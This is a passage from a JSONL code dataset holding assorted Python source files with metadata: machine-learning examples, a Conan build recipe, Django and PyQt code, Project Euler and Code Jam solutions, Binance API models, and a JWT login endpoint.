agent['broker_config']\n # 3.3 and earlier\n else:\n broker_config = {}\n for k in ['broker_user', 'broker_pass', 'broker_ip',\n 'broker_ssl_enabled', 'broker_ssl_cert']:\n broker_config[k] = agent.pop(k)\n if broker_config['broker_ssl_enabled']:\n broker_config['broker_port'] = '5671'\n else:\n broker_config['broker_port'] = '5672'\n return broker_config\n","sub_path":"workflows/cloudify_system_workflows/snapshots/agents.py","file_name":"agents.py","file_ext":"py","file_size_in_byte":5460,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"626624531","text":"from sklearn.ensemble import AdaBoostClassifier\nfrom sklearn.datasets import load_breast_cancer\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import plot_confusion_matrix\nfrom matplotlib import pyplot as plt\n\n\n\"\"\"Adaboost classifier example\"\"\"\n\n\ndef adaboost():\n cancer_df = load_breast_cancer()\n print(cancer_df.keys())\n X, y = cancer_df.data, cancer_df.target\n X_train, X_test, y_train, y_test = train_test_split(X, y, random_state=42)\n\n abc = AdaBoostClassifier(base_estimator=None,\n n_estimators=300, learning_rate=1, random_state=0)\n abc.fit(X_train, y_train)\n y_pred = abc.predict(X_test)\n print(y_pred[:20])\n # Display Confusion Matrix of Classifier\n plot_confusion_matrix(\n abc,\n X_test,\n y_test,\n display_labels=cancer_df[\"target_names\"],\n cmap=\"Blues\",\n normalize=\"true\",\n )\n plt.title(\"Normalized Confusion Matrix - Cancer Dataset\")\n plt.show()\n\n # to see the accuracy of the model\n print(\"Accuracy of adaboost is:\", abc.score(X_test, y_test))\n\n\nif __name__ == \"__main__\":\n adaboost()\n","sub_path":"machine_learning/adaboost_classifier.py","file_name":"adaboost_classifier.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"17353254","text":"#!/usr/bin/env python3\n\nimport sys\nimport re\nimport pybtex\nfrom pybtex.style.sorting.author_year_title import SortingStyle\nfrom pybtex.plugin import register_plugin\n\n\nclass YearSortingStyle(SortingStyle):\n\n def sorting_key(self, entry):\n if entry.type in ('book', 'inbook'):\n author_key = self.author_editor_key(entry)\n elif 'author' in entry.persons:\n author_key = self.persons_key(entry.persons['author'])\n else:\n author_key = ''\n return (-int(entry.fields.get('year', '')), author_key, entry.fields.get('title', ''))\n\n\nregister_plugin('pybtex.style.sorting', 'year_author_title', YearSortingStyle)\nmarkdown = pybtex.format_from_file(sys.argv[1], style='plain', output_backend='markdown',\nsorting_style='year_author_title', abbreviate_names=True)\n\nmarkdown = re.sub('(\\[\\d+\\])', '\\n\\\\1', markdown)\n# markdown, _ = re.subn(r'\\\\textbf \\\\underline N\\\\., Sonnenschein', '**N., Sonnenschein**', markdown)\nmarkdown, _ = re.subn(r'\\\\\\\\textbf.*underline.*Sonnenschein', '**N. Sonnenschein**', markdown)\nmarkdown, _ = re.subn(r'\\\\\\\\textbf.*Sonnenschein', '**N. Sonnenschein**', markdown)\nmarkdown, _ = re.subn(r'\\\\\\\\emph\\s*', '', markdown)\n\nprint(markdown)\n\n# print(re.sub(r'\\\\textbf \\\\underline N\\., Sonnenschein\\.', '!@#$', markdown))","sub_path":"scripts/bib2markdown.py","file_name":"bib2markdown.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"262303556","text":"from PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nfrom PyQt5.QtWidgets import *\r\nimport PyQt5\r\n\r\nfrom ece121 import Protocol\r\n\r\n\r\nwidgetName = \"LED Control\"\r\n\r\nclass LEDControl(QWidget):\r\n\r\n\tdef __init__(self, portInstance, parent=None):\r\n\t\tsuper(LEDControl, self).__init__(parent)\r\n\r\n\t\tself.portInstance = portInstance\r\n\r\n\t\tself.usedLayout = QVBoxLayout()\r\n\t\tself.setLayout(self.usedLayout)\r\n\r\n\t\tself.usedLayout.addWidget(QLabel(\"Hello Widget\"))\r\n\r\n\t\tcheckLayout = QHBoxLayout()\r\n\r\n\t\tself.usedLayout.addLayout(checkLayout)\r\n\r\n\t\tself.ledCheckButtons = list()\r\n\t\tfor i in range(7, -1, -1):\r\n\t\t\tnewCheck = QCheckBox(\"{}\".format(i))\r\n\t\t\t# newCheck.setTristate(False)\r\n\t\t\tcheckLayout.addWidget(newCheck)\r\n\t\t\tnewCheck.clicked.connect(self.handleLEDOut)\r\n\t\t\tself.ledCheckButtons.append(newCheck)\r\n\t\tcheckLayout.addStretch()\r\n\r\n\t\t# self.portInstance.requestLEDState()\r\n\r\n\t\tself.usedLayout.addStretch()\r\n\t\treturn\r\n\r\n\tdef setCheckBoxes(self, inPattern):\r\n\t\t# print(inPattern)\r\n\t\tfor index, check in enumerate(self.ledCheckButtons):\r\n\t\t\t# print(check)\r\n\t\t\t# print(index)\r\n\t\t\tif inPattern & (1 << (7-index)):\r\n\t\t\t\tcheck.setCheckState(2)\r\n\t\t\telse:\r\n\t\t\t\tcheck.setCheckState(0)\r\n\r\n\tdef getCheckBoxes(self):\r\n\t\toutPattern = 0\r\n\t\tfor index, check in enumerate(self.ledCheckButtons):\r\n\t\t\tif check.checkState() == 2:\r\n\t\t\t\toutPattern |= (1 << (7-index))\r\n\t\treturn outPattern\r\n\r\n\tdef handleLEDIn(self, inBytes):\r\n\t\tself.setCheckBoxes(inBytes[1])\r\n\t\treturn\r\n\r\n\tdef handleLEDOut(self):\r\n\t\tledPattern = self.getCheckBoxes()\r\n\t\t# print(ledPattern)\r\n\t\tmessageOut = Protocol.MessageIDs.ID_LEDS_SET.value.to_bytes(1, byteorder='big')\r\n\t\tmessageOut += ledPattern.to_bytes(1, byteorder='big')\r\n\t\t# print(messageOut)\r\n\t\tself.portInstance.sendRawMessage(messageOut)\r\n\t\treturn\r\n","sub_path":"labInterface/ece121/guiWidgets/LEDControl.py","file_name":"LEDControl.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"262797657","text":"import math\n\ndef is_triangle_number(n):\n # tn = (1/2) * n * (n + 1)\n # 2tn = n^2 + n\n # n^2 + n - 2tn = 0\n # Therefore if (-1 +- sqrt(1 - 4 * (-2tn))) / 2 is an integer, n is a triangular number.\n\n v1 = (-1 + math.sqrt(1 - 4 * (-2 * n))) / 2\n\n return v1.is_integer() and v1 > 0\n\ndef letter_value(letter):\n return ord(letter) - 64 #ord('A') - 1\n\ndef word_value(word):\n val = 0\n for letter in word:\n val += letter_value(letter)\n\n return val\n\nwith open(\"p042_words.txt\", \"r\") as f:\n words = f.readline().split(\",\")\n\n words = [w.replace('\"', '') for w in words]\n\ntri_words = []\n\nfor word in words:\n if is_triangle_number(word_value(word)):\n tri_words.append(word)\n\nprint(len(tri_words))","sub_path":"python/42.py","file_name":"42.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"565782587","text":"from conans import ConanFile, tools, AutoToolsBuildEnvironment\nimport os\nimport fnmatch\n\n\nclass OpenH264Conan(ConanFile):\n name = \"openh264\"\n url = \"https://github.com/conan-io/conan-center-index\"\n homepage = 'http://www.openh264.org/'\n description = \"Open Source H.264 Codec\"\n topics = (\"conan\", \"h264\", \"codec\", \"video\", \"compression\", )\n license = \"BSD-2-Clause\"\n\n settings = \"os\", \"arch\", \"compiler\", \"build_type\"\n options = {\"shared\": [True, False]}\n default_options = {'shared': 'False'}\n _source_subfolder = \"sources\"\n\n exports_sources = [\"platform-android.mk.patch\"]\n\n @property\n def original_version(self):\n if 'dssl' not in self.version:\n return self.version\n original_version = self.version.split('.')\n return '.'.join(original_version[:-1])\n\n def build_requirements(self):\n self.build_requires(\"nasm/2.14.dssl1\")\n if tools.os_info.is_windows:\n if \"CONAN_BASH_PATH\" not in os.environ:\n if self.settings.arch == 'x86':\n self.build_requires(\"msys2/20200517\")\n else:\n self.build_requires(\"msys2/20210725\")\n\n def source(self):\n tools.get(**self.conan_data[\"sources\"][self.original_version])\n extracted_dir = self.name + \"-\" + self.original_version\n os.rename(extracted_dir, self._source_subfolder)\n\n @property\n def _use_winbash(self):\n return tools.os_info.is_windows and (self.settings.compiler == 'gcc' or tools.cross_building(self.settings))\n\n def _format_path(self, path):\n return tools.unix_path(path) if self._use_winbash else path\n\n def build(self):\n with tools.vcvars(self.settings) if self.settings.compiler == \"Visual Studio\" else tools.no_op():\n tools.patch(os.path.join(self._source_subfolder, \"build\"), \"platform-android.mk.patch\")\n with tools.chdir(self._source_subfolder):\n prefix = os.path.abspath(self.package_folder)\n if tools.os_info.is_windows:\n prefix = tools.unix_path(prefix)\n tools.replace_in_file('Makefile', 'PREFIX=/usr/local', 'PREFIX=%s' % prefix)\n if self.settings.os == \"Android\":\n arch = str(self.settings.arch)\n arch = {\"armv7\": \"arm\",\n \"armv8\": \"arm64\"}.get(arch, arch)\n else:\n if self.settings.arch == 'x86':\n arch = 'i386'\n elif self.settings.arch == 'x86_64':\n arch = 'x86_64'\n else:\n arch = self.settings.arch\n\n args = ['ARCH=%s' % arch]\n\n env_build = AutoToolsBuildEnvironment(self)\n if self.settings.compiler == 'Visual Studio':\n tools.replace_in_file(os.path.join('build', 'platform-msvc.mk'),\n 'CFLAGS_OPT += -MT',\n 'CFLAGS_OPT += -%s' % str(self.settings.compiler.runtime))\n tools.replace_in_file(os.path.join('build', 'platform-msvc.mk'),\n 'CFLAGS_DEBUG += -MTd -Gm',\n 'CFLAGS_DEBUG += -%s -Gm' % str(self.settings.compiler.runtime))\n args.append('OS=msvc')\n env_build.flags.append('-FS')\n else:\n if tools.os_info.is_windows:\n args.append('OS=mingw_nt')\n if self.settings.compiler == 'clang' and self.settings.compiler.libcxx == 'libc++':\n tools.replace_in_file('Makefile', 'STATIC_LDFLAGS=-lstdc++', 'STATIC_LDFLAGS=-lc++\\nLDFLAGS+=-lc++')\n if self.settings.os == \"Android\":\n args.append(\"NDKLEVEL=%s\" % str(self.settings.os.api_level))\n libcxx = str(self.settings.compiler.libcxx)\n args.append(\"STL_LIB=\" + (\"$(NDKROOT)/sources/cxx-stl/llvm-libc++/libs/$(APP_ABI)/lib%s \"\n % \"c++_static.a\" if libcxx == \"c++_static\" else \"c++_shared.so\") +\n \"$(NDKROOT)/sources/cxx-stl/llvm-libc++/libs/$(APP_ABI)/libc++abi.a\")\n args.append('OS=android')\n ndk_home = os.environ[\"ANDROID_NDK_HOME\"]\n args.append('NDKROOT=%s' % ndk_home) # not NDK_ROOT here\n target = \"android-%s\" % str(self.settings.os.api_level)\n args.append('TARGET=%s' % target)\n tools.replace_in_file(os.path.join(\"codec\", \"build\", \"android\", \"dec\", \"jni\", \"Application.mk\"),\n \"APP_STL := stlport_shared\",\n \"APP_STL := %s\" % str(self.settings.compiler.libcxx))\n tools.replace_in_file(os.path.join(\"codec\", \"build\", \"android\", \"dec\", \"jni\", \"Application.mk\"),\n \"APP_PLATFORM := android-12\",\n \"APP_PLATFORM := %s\" % target)\n args.append(\"CCASFLAGS=$(CFLAGS) -fno-integrated-as\")\n env_build.make(args=args, target=\"libraries\")\n args.append('install-' + ('shared' if self.options.shared else 'static-lib'))\n env_build.make(args=args)\n\n def package(self):\n self.copy(pattern=\"LICENSE\", dst=\"licenses\", src=self._source_subfolder)\n if self.options.shared:\n exts = ['*.a']\n else:\n exts = ['*.dll', '*.so*', '*.dylib*']\n for root, _, filenames in os.walk(self.package_folder):\n for ext in exts:\n for filename in fnmatch.filter(filenames, ext):\n os.unlink(os.path.join(root, filename))\n tools.rmdir(os.path.join(self.package_folder, 'lib', 'pkgconfig'))\n\n def package_info(self):\n if self.settings.compiler == 'Visual Studio' and self.options.shared:\n self.cpp_info.libs = ['openh264_dll']\n else:\n self.cpp_info.libs = ['openh264']\n if self.settings.os == \"Linux\":\n self.cpp_info.system_libs.extend(['m', 'pthread'])\n if self.settings.os == \"Android\":\n self.cpp_info.system_libs.append(\"m\")\n libcxx = self.settings.get_safe(\"compiler.libcxx\")\n if libcxx in [\"libstdc++\", \"libstdc++11\"]:\n self.cpp_info.system_libs.append(\"stdc++\")\n elif libcxx == \"libc++\":\n self.cpp_info.system_libs.append(\"c++\")\n elif libcxx in [\"c++_static\", \"c++_shared\"]:\n self.cpp_info.system_libs.extend([libcxx, \"c++abi\"])\n","sub_path":"recipes/openh264/all/conanfile.py","file_name":"conanfile.py","file_ext":"py","file_size_in_byte":6727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"282006649","text":"#############################################################################################\n# generic tb0 template writter. takes template file, date in YYYY/MM/DD, directory to write file to & file suffix (_ill.pt2)\n#############################################################################################\n\nimport os\nimport argparse\nimport datetime\n\nclass args(object):\n pass\n\n#define some helper functions\n\n#returns a Date object from a string input (used to parse the command line argument)\ndef buildDate (input):\n return datetime.datetime.strptime(input, \"%Y/%m/%d\").date()\n \n#returns a Time object from a string input (used to parse the command line argument) \ndef buildTime (input):\n return datetime.datetime.strptime(input + \":00:00\", \"%H:%M:%S\").time()\n \n#Get command line arguments\ndata = args()\nparser = argparse.ArgumentParser()\nparser.add_argument('template_name', help=\"template name with extension. path will be defined relative to /../lib\")\nparser.add_argument('write_directory', help=\"full path of model directory with final folder\")\nparser.add_argument('file_suffix', help=\"file suffix with extenion (omit the underscore. it will be added). i.e ill.pt2\")\nparser.add_argument('date', type=buildDate , nargs=1, help=\"format: yyyy/mm/dd\")\nparser.add_argument('--hour', type=buildTime , default='00', help=\"format: HH; Auto fills to HH:00:00\")\nparser.parse_args(namespace=data)\n\n\n#initialize useful variables\nPath = os.path.split(os.path.abspath(__file__))[0]\nfile = open(Path + '/../lib/' + data.template_name, 'rb') #This is the template file used to build from\ntable = [row.strip().split() for row in file]\n\ni = 0\n\n#build new table from Template\n#NOTE: ColumnName MUST come before the coefficients in the TEMPLATE file \nindices = []\nfor i, line in enumerate(table):\n #fix some of the meta data\n if line[0] == ':CreationDate':\n table[i][1] = datetime.datetime.now().strftime(\"%Y-%m-%d\")\n table[i][2] = datetime.datetime.now().strftime(\"%H:%M\")\n \n if line[0] == ':StartDate':\n table[i][1] = data.date[0].strftime(\"%Y/%m/%d\")\n \n if line[0] == ':StartTime':\n table[i][1] = data.hour.strftime(\"%H:%M:%S\")\n\n #get column indices of stations \n #if line[0] == ':ColumnName':\n # for j, val in enumerate(line):\n # if val in stations:\n # indices.append(j)\n\n\n# write tb0 file\nfile = open(os.path.join(data.write_directory,data.date[0].strftime(\"%Y%m%d\") + \"_\" + data.file_suffix), 'w')\n\n#output the new data \nfor i, line in enumerate(table): \n for j, val in enumerate(line):\n if j is 0:\n file.write(str(val.ljust(20))),\n else:\n file.write(str(val.rjust(15))),\n file.write(\"\\n\")\n\nfile.close()\n","sub_path":"scripts/GenericTemplateWritter.py","file_name":"GenericTemplateWritter.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"545652375","text":"from rest_framework import serializers\nfrom django.contrib.auth.models import User\nfrom omok_backend_rest.models import *\n\ndef is_row(pane, i, j, diri, dirj):\n N = len(pane)\n for s in range(0, 5):\n ii = i + diri * s\n jj = j + dirj * s\n if ii < 0 or N <= ii:\n return False\n elif jj < 0 or N <= jj:\n return False\n if pane[i][j] != pane[ii][jj]:\n return False\n return True\n\ndef get_win(pane):\n N = len(pane)\n for i in range(0, N):\n for j in range(0, N):\n if pane[i][j] == 0:\n continue\n for (diri, dirj) in [(1, 0), (0, 1), (1, 1), (1, -1)]:\n if is_row(pane, i, j, diri, dirj):\n return pane[i][j]\n return 0\n\nclass PlayerSerializer(serializers.BaseSerializer):\n def to_representation(self, obj):\n l1 = ([ obj.player1.id ] if obj.player1 else [])\n l2 = ([ obj.player2.id ] if obj.player2 else [])\n return l1 + l2\n\n class Meta:\n model = Room\n\nclass RoomSerializer(serializers.BaseSerializer):\n def to_representation(self, obj):\n pane = []\n N = 19\n for i in range(0, N):\n pane.append([0] * N)\n hs = History.objects.filter(room = obj.id)\n for ht in hs:\n pane[ht.place_i][ht.place_j] = (1 if ht.player == obj.player1 else 2)\n return {\n \"id\":obj.id,\n \"player1\":(None if obj.player1 == None else obj.player1.id),\n \"player2\":(None if obj.player2 == None else obj.player2.id),\n \"turn\":(1 if len(hs) % 2 == 0 else 2),\n \"win\":get_win(pane),\n \"pane\":pane\n }\n def to_internal_value(self, data):\n return {}\n def create(self, data):\n return Room.objects.create()\n\n class Meta:\n model = Room\n fields = ('id', 'player1', 'player2', 'turn', 'win', 'pane')\n\nclass HistorySerializer(serializers.ModelSerializer):\n player = serializers.ReadOnlyField(source='player.id')\n room = serializers.ReadOnlyField(source='room.id')\n class Meta:\n model = History\n fields = ('player', 'room', 'place_i', 'place_j')\n\nclass UserSerializer(serializers.ModelSerializer):\n class Meta:\n model = User\n fields = ('id', 'username')\n","sub_path":"ta-session/assn4sol/omok_backend/omok_backend_rest/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"204919756","text":"from django.contrib import admin\nfrom .models import Cat_org, posts\n# Register your models here.\n\nclass adminblog(admin.ModelAdmin):\n list_display = (\n \"Title\", \n \"Time\", \n \"photo_tag\", \n \"Status\",\n )\n list_filter = (\"Time\", \"Status\",)\n\nadmin.site.register(Cat_org)\nadmin.site.register(posts, adminblog)","sub_path":"blog/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"141639211","text":"class quat:\n ONE = 1\n I = 2\n J = 3\n K = 4\n d = { \"1\" : ONE, \"i\" : I, \"j\" : J, \"k\" : K }\n dinv = {v: k for k, v in d.items()}\n\n def __init__(self, char, sgn = True):\n self.num = quat.d[char]\n self.sgn = sgn\n\n def __mul__(self, rhs):\n a, b = self.num, rhs.num\n pos = self.sgn==rhs.sgn\n \n \n \n if a == quat.ONE:\n return quat(quat.dinv[b], pos)\n if b == quat.ONE:\n return quat(quat.dinv[a], pos)\n\n\n if a == b:\n return quat(\"1\", not pos)\n \n \n dd = {\"ij\": \"k\", \"jk\":\"i\", \"ki\":\"j\"}\n\n sa, sb = quat.dinv[a], quat.dinv[b]\n \n if sa + sb in dd:\n return quat(dd[sa + sb], pos)\n else:\n return quat(dd[sb + sa], not pos)\n\n def __str__(self):\n res = \"\"\n if not self.sgn:\n res += \"-\"\n res += quat.dinv[self.num]\n return res\n \n def __repr__(self):\n return self.__str__()\n\n\ndef solve_simple(ijks):\n curr = quat(\"1\")\n\n NOT_FOUND = 0\n FOUND_I = 1\n FOUND_J = 2\n state = NOT_FOUND\n \n for letter in ijks:\n ltr_quat = quat(letter)\n curr = curr * ltr_quat\n if state == NOT_FOUND:\n if str(curr) == \"i\":\n state = FOUND_I\n curr = quat(\"1\")\n\n elif state == FOUND_I:\n if str(curr) == \"j\":\n state = FOUND_J\n curr = quat(\"1\")\n\n return \"YES\" if state == FOUND_J and str(curr) == \"k\" else \"NO\"\n \n\ndef main():\n T = int(input())\n\n for test in range(1, T+1):\n _, X = [int(i) for i in input().split()]\n period = input()\n print(\"Case #{}: {}\".format(test, solve_simple(period*X)))\n\nmain()\n","sub_path":"solutions_5670465267826688_0/Python/ArbokEkans/dijkstra.py","file_name":"dijkstra.py","file_ext":"py","file_size_in_byte":1770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"180588309","text":"import typing\nfrom decimal import Decimal\nimport copy\nfrom datetime import date\nfrom collections import Counter\n\nfrom pyrsistent import pmap\nfrom pydantic import PositiveInt, PositiveFloat, create_model, ValidationError, validator\n\n# noobit base\nfrom noobit_markets.base import ntypes\nfrom noobit_markets.base.models.frozenbase import FrozenBaseModel\nfrom noobit_markets.base.models.rest.response import NoobitResponseInstrument\nfrom noobit_markets.base.models.result import Ok, Err, Result\n\n\n\n\n#============================================================\n# BINANCE RESPONSE MODEL\n#============================================================\n\n# SAMPLE RESPONSE\n\n# {\n# \"symbol\": \"BNBBTC\",\n# \"priceChange\": \"-94.99999800\",\n# \"priceChangePercent\": \"-95.960\",\n# \"weightedAvgPrice\": \"0.29628482\",\n# \"prevClosePrice\": \"0.10002000\",\n# \"lastPrice\": \"4.00000200\",\n# \"lastQty\": \"200.00000000\",\n# \"bidPrice\": \"4.00000000\",\n# \"askPrice\": \"4.00000200\",\n# \"openPrice\": \"99.00000000\",\n# \"highPrice\": \"100.00000000\",\n# \"lowPrice\": \"0.10000000\",\n# \"volume\": \"8913.30000000\",\n# \"quoteVolume\": \"15.30000000\",\n# \"openTime\": 1499783499040,\n# \"closeTime\": 1499869899040,\n# \"firstId\": 28385, // First tradeId\n# \"lastId\": 28460, // Last tradeId\n# \"count\": 76 // Trade count\n# }\n\n\n\nclass BinanceResponseInstrument(FrozenBaseModel):\n\n #TODO regex capital\n symbol: str\n priceChange: Decimal\n priceChangePercent: Decimal\n weightedAvgPrice: Decimal\n prevClosePrice: Decimal \n lastPrice: Decimal\n lastQty: Decimal\n bidPrice: Decimal\n askPrice: Decimal\n openPrice: Decimal\n highPrice: Decimal\n lowPrice: Decimal\n volume: Decimal\n quoteVolume: Decimal\n openTime: PositiveInt\n closeTime: PositiveInt\n firstId: PositiveInt\n lastId: PositiveInt\n count: PositiveInt\n\n #TODO validate openTime and closeTime\n\n\n\n\n#============================================================\n# UTILS\n#============================================================\n\n\ndef verify_symbol():\n pass\n\n\n\n\n#============================================================\n# PARSE\n#============================================================\n\n\ndef parse_result_data_instrument(\n result_data: BinanceResponseInstrument,\n symbol: ntypes.SYMBOL,\n symbol_mapping: ntypes.SYMBOL_FROM_EXCHANGE\n ) -> pmap:\n\n parsed_instrument = {\n \"symbol\": symbol_mapping[result_data.symbol],\n \"low\": result_data.lowPrice,\n \"high\": result_data.highPrice,\n \"vwap\": result_data.weightedAvgPrice,\n \"last\": result_data.lastPrice,\n #TODO compare with kraken volume to see if its the same (base or quote)\n \"volume\": result_data.volume,\n \"trdCount\": result_data.count,\n #FIXME no volume for best ask and best bid\n \"bestAsk\": {result_data.askPrice: 0},\n \"bestBid\": {result_data.bidPrice: 0},\n # FIXME revise NoobitResp model so better fit binance data too\n # FIXME below values should be None (model fields are not optional so far)\n \"prevLow\": 0,\n \"prevHigh\": 0, \n \"prevVwap\": 0, \n \"prevVolume\": 0, \n \"prevTrdCount\": 0, \n }\n return pmap(parsed_instrument)\n\n\n\n\n# ============================================================\n# VALIDATE\n# ============================================================\n\n#TODO consistent naming across package (for now sometimes we have raw, sometimes base)\ndef validate_raw_result_content_instrument(\n result_content: pmap,\n symbol: ntypes.SYMBOL,\n symbol_mapping: ntypes.SYMBOL_TO_EXCHANGE\n ) -> Result[BinanceResponseInstrument, ValidationError]:\n\n\n try:\n validated = BinanceResponseInstrument(\n **result_content\n )\n return Ok(validated)\n\n except ValidationError as e:\n return Err(e)\n\n except Exception as e:\n raise e\n\n\ndef validate_parsed_result_data_instrument(\n parsed_result: typing.Tuple[pmap],\n raw_json: typing.Any\n ) -> Result[NoobitResponseInstrument, ValidationError]:\n\n try:\n validated = NoobitResponseInstrument(\n **parsed_result,\n rawJson=raw_json\n )\n return Ok(validated)\n\n except ValidationError as e:\n return Err(e)\n\n except Exception as e:\n raise e\n","sub_path":"src/noobit_markets/exchanges/binance/rest/public/instrument/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":4339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"301040422","text":"from pq import *\nimport warnings\nfrom multiprocessing import Pool, cpu_count, sharedctypes\n\n\ndef _init(arr_to_populate):\n \"\"\"Each pool process calls this initializer. Load the array to be populated into that process's global namespace\"\"\"\n global arr\n arr = arr_to_populate\n\n\ndef arg_sort(arguments):\n \"\"\"\n for q, sort the compressed items in 'compressed' by their distance,\n where distance is determined by 'metric'\n :param arguments: a tuple of (metric, compressed, q)\n :return:\n \"\"\"\n with warnings.catch_warnings():\n warnings.simplefilter('ignore', RuntimeWarning)\n compressed = np.ctypeslib.as_array(arr)\n metric, q = arguments\n if metric == 'product':\n return np.argsort([- np.dot(np.array(q).flatten(), np.array(center).flatten()) for center in compressed])\n elif metric == 'angular':\n return np.argsort([\n - np.dot(np.array(q).flatten(), np.array(center).flatten()) / (np.linalg.norm(q) * np.linalg.norm(center))\n for center in compressed\n ])\n else:\n return np.argsort([np.linalg.norm(q - center) for center in compressed])\n\n\ndef parallel_sort(metric, compressed, Q):\n \"\"\"\n for each q in 'Q', sort the compressed items in 'compressed' by their distance,\n where distance is determined by 'metric'\n :param metric: euclid product\n :param compressed: compressed items, same dimension as origin data, shape(N * D)\n :param Q: queries, shape(len(Q) * D)\n :return:\n \"\"\"\n tmp = np.ctypeslib.as_ctypes(compressed)\n shared_arr = sharedctypes.Array(tmp._type_, tmp, lock=False)\n\n pool = Pool(processes=cpu_count(), initializer=_init, initargs=(shared_arr, ))\n\n rank = pool.map(arg_sort, zip([metric for _ in Q], Q))\n pool.close()\n pool.join()\n return rank\n\n\nclass Sorter(object):\n def __init__(self, compressed, Q, metric='euclid'):\n self.Q = Q\n self.topK = parallel_sort(metric, compressed, Q)\n\n def recall(self, G, T):\n t = min(T, len(self.topK[0]))\n top_k = [len(np.intersect1d(G[i], self.topK[i][:T])) for i in range(len(G))]\n return t, np.mean(top_k) / len(G[0])\n","sub_path":"sorter.py","file_name":"sorter.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"459598363","text":"\r\n#coding=utf-8\r\nimport os\r\n\r\ndef find_mp4(mp4_path):\r\n mp4_files = []\r\n for each_file in os.listdir(mp4_path):\r\n # print(each_file)\r\n if each_file.split('.')[-1] == 'mp4':\r\n mp4_files.append(each_file)\r\n return mp4_files\r\n\r\n\r\ndef video2imgs():\r\n for i in range(1, 12):\r\n print('ffmpeg -i a{}.mp4 -r 1 a{}/a{}%d.jpg'.format(i, i, i))\r\n os.system('ffmpeg -i a{}.mp4 -r 1 a{}/a{}%d.jpg'.format(i, i, i))\r\n\r\n\r\n\r\nfor i in find_mp4(r'D:\\multi_download_youtu_videos\\riots'):\r\n print(i)","sub_path":"video2imgs.py","file_name":"video2imgs.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"585999329","text":"#!/usr/bin/env python\nfrom math import cos, sin, pi\nfrom numpy.linalg import norm\nfrom siconos.mechanics.collision.bullet import btQuaternion\nfrom siconos.mechanics.collision.bullet import __mul__ as mul\nfrom random import random\nfrom math import cos, sin, pi\n\ntheta1 = pi/2\na1 = 1\nb1 = 0\nc1 = 0\nn1 = sin(theta1/2)/norm((a1,b1,c1))\n\nr1 = btQuaternion(a1*n1, b1*n1, c1*n1, cos(theta1/2))\n\ndef s_v(v):\n return ' '.join('{0}'.format(iv) for iv in v)\n\nalpha = pi/6\n\nmass = 1\n# true mass ?\n#mass = 620 * (11.74*2.348*0.78267) / (100*100*100)\n\n\nwith open('input.dat','w') as f:\n # f.write('0 0 10 50 0 20 1 0 0 0 -100. 0 0 10 10 10\\n')\n f.write('1 -1 0 0 0 -.5 1 0 0 0 0 0 0 0 0 0\\n')\n for k in range(0,200):\n\n for i in range(0,12):\n\n theta = (i+3 + (k%2) * 0.5) * pi / 6\n a = 0\n b = 0\n c = 1\n n = sin(theta / 2) / norm((a, b, c))\n\n r = btQuaternion(a*n, b*n, c*n, cos(theta/2))\n r = mul(r, r1)\n\n r.normalize()\n\n q = (23.48*cos(alpha*(i + (k%2)* 0.5)), 23.48*sin(alpha*(i + (k%2)* 0.5)), (2.348 + 0.01) * k + 2.360/2. + 0.01)\n o = (r.w(), r.x(), r.y(), r.z())\n\n f.write('2 0 {0} {1} {2} 0 0 0 0 0 0\\n'.format(mass, s_v(q),s_v(o)))\n\n","sub_path":"siconos/Global/Kaplas_2400/mkinput.py","file_name":"mkinput.py","file_ext":"py","file_size_in_byte":1273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"72551946","text":"import datetime\n\nfrom falcon import Request, Response\nfrom jose import jwt\n\nfrom eduid_scimapi.exceptions import Unauthorized\nfrom eduid_scimapi.resources.base import BaseResource\n\n\nclass LoginResource(BaseResource):\n def on_post(self, req: Request, resp: Response):\n self.context.logger.info(f'Logging in')\n data_owner = req.media['data_owner']\n if data_owner not in self.context.config.data_owners:\n raise Unauthorized()\n now = datetime.datetime.now(tz=datetime.timezone.utc)\n expire = now + datetime.timedelta(seconds=self.context.config.authorization_token_expire)\n claims = {\n 'data_owner': data_owner,\n 'exp': expire,\n }\n token = jwt.encode(claims, self.context.config.authorization_token_secret, algorithm='HS256')\n resp.set_header('Authorization', f'Bearer {token}')\n","sub_path":"src/eduid_scimapi/resources/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"327906897","text":"from logging.config import dictConfig\nfrom reports.core import ItemsUtility, NEW_ALG_DATE\nfrom reports.helpers import (\n get_arguments_parser,\n Kind,\n read_config\n)\nfrom reports.helpers import DEFAULT_TIMEZONE, DEFAULT_MODE, MODE_REGULAR, MODE_TEST, MODE_ALL\n\nHEADERS = [\n \"tender\", \"tenderID\", \"lot\",\n \"status\", 